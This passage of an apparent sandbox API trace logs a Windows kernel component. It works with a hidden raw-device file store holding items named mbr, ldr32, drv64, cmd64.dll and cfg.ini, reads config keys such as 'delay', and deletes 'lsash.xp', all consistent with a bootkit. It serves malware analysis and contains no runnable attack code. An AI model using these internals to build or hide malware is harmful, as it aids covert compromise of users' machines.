ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.470] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.470] IdePortDispatch () returned 0x103 [0118.470] KeWaitForMutexObject () returned 0x0 [0118.470] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.470] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.470] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.470] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.470] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.470] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.470] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.470] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.470] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.470] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.470] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.470] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.470] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.470] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.470] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.470] KeLeaveCriticalRegion () [0118.470] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.470] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.470] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.470] KeEnterCriticalRegion () [0118.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.471] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.471] IdePortDispatch () returned 0x103 [0118.471] KeWaitForMutexObject () returned 0x0 [0118.471] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.471] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.471] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.471] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.471] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.471] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.471] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.471] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.471] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.471] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.471] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.471] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.471] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.471] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.471] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.471] KeLeaveCriticalRegion () [0118.471] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.471] ReleaseMutex (hMutex=0x100) returned 1 [0118.471] Sleep (dwMilliseconds=0x2bf20) [0118.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69d102f0, dwHighDateTime=0x1d24fa4)) [0118.478] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.478] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.478] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.478] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.478] KeEnterCriticalRegion () [0118.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.478] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.478] IdePortDispatch () returned 0x103 [0118.478] KeWaitForMutexObject () returned 0x0 [0118.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.478] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.478] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.478] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.478] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.478] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039caeb0 [0118.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.478] KeLeaveCriticalRegion () [0118.478] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.478] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.478] KeEnterCriticalRegion () [0118.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.478] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.478] KeLeaveCriticalRegion () [0118.478] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.478] KeEnterCriticalRegion () [0118.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.478] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.478] IdePortDispatch () returned 0x103 [0118.479] KeWaitForMutexObject () returned 0x0 [0118.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.479] KeLeaveCriticalRegion () [0118.479] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.479] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.479] KeEnterCriticalRegion () [0118.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.479] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce4000 [0118.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.479] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.479] IdePortDispatch () returned 0x103 [0118.479] KeWaitForMutexObject () returned 0x0 [0118.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.479] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.479] IdePortDispatch () returned 0x103 [0118.479] KeWaitForMutexObject () returned 0x0 [0118.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.480] KeLeaveCriticalRegion () [0118.480] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.480] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.480] KeEnterCriticalRegion () [0118.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.480] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.480] KeLeaveCriticalRegion () [0118.480] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.480] KeEnterCriticalRegion () [0118.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.480] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.480] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cddd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.480] KeLeaveCriticalRegion () [0118.480] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.480] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.480] KeEnterCriticalRegion () [0118.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.480] ExFreePoolWithTag (P=0xfffffa80039caeb0, Tag=0x0) [0118.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.480] KeLeaveCriticalRegion () [0118.480] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.480] ReleaseMutex (hMutex=0xf0) returned 1 [0118.480] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.480] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.480] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.480] KeEnterCriticalRegion () [0118.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.481] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.481] IdePortDispatch () returned 0x103 [0118.481] KeWaitForMutexObject () returned 0x0 [0118.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.481] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.481] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.481] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.481] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.481] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7b50 [0118.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.481] KeLeaveCriticalRegion () [0118.481] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.481] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.481] KeEnterCriticalRegion () [0118.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.481] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.481] KeLeaveCriticalRegion () [0118.481] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.481] KeEnterCriticalRegion () [0118.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.481] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.481] IdePortDispatch () returned 0x103 [0118.481] KeWaitForMutexObject () returned 0x0 [0118.482] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.482] KeLeaveCriticalRegion () [0118.482] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.482] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.482] KeEnterCriticalRegion () [0118.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.482] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce5000 [0118.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.482] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.482] IdePortDispatch () returned 0x103 [0118.482] KeWaitForMutexObject () returned 0x0 [0118.482] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.482] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.482] IdePortDispatch () returned 0x103 [0118.482] KeWaitForMutexObject () returned 0x0 [0118.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.482] KeLeaveCriticalRegion () [0118.482] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.483] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.483] KeEnterCriticalRegion () [0118.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.483] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.483] KeLeaveCriticalRegion () [0118.483] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.483] KeEnterCriticalRegion () [0118.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.483] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.483] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800385b6c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.483] KeLeaveCriticalRegion () [0118.483] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.483] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.483] KeEnterCriticalRegion () [0118.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.483] ExFreePoolWithTag (P=0xfffffa80039d7b50, Tag=0x0) [0118.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.483] KeLeaveCriticalRegion () [0118.483] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.483] ReleaseMutex (hMutex=0xf0) returned 1 [0118.483] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.483] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.483] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.483] KeEnterCriticalRegion () [0118.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.483] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.483] IdePortDispatch () returned 0x103 [0118.484] KeWaitForMutexObject () returned 0x0 [0118.484] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.484] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.484] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.484] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.484] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.484] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdfde0 [0118.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.484] KeLeaveCriticalRegion () [0118.484] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.484] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.484] KeEnterCriticalRegion () [0118.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.484] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.484] KeLeaveCriticalRegion () [0118.484] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.484] KeEnterCriticalRegion () [0118.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.484] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.484] IdePortDispatch () returned 0x103 [0118.484] KeWaitForMutexObject () returned 0x0 [0118.484] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.484] KeLeaveCriticalRegion () [0118.484] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.484] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.485] KeEnterCriticalRegion () [0118.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.485] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce6000 [0118.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.485] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.485] IdePortDispatch () returned 0x103 [0118.485] KeWaitForMutexObject () returned 0x0 [0118.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.485] KeInitializeEvent 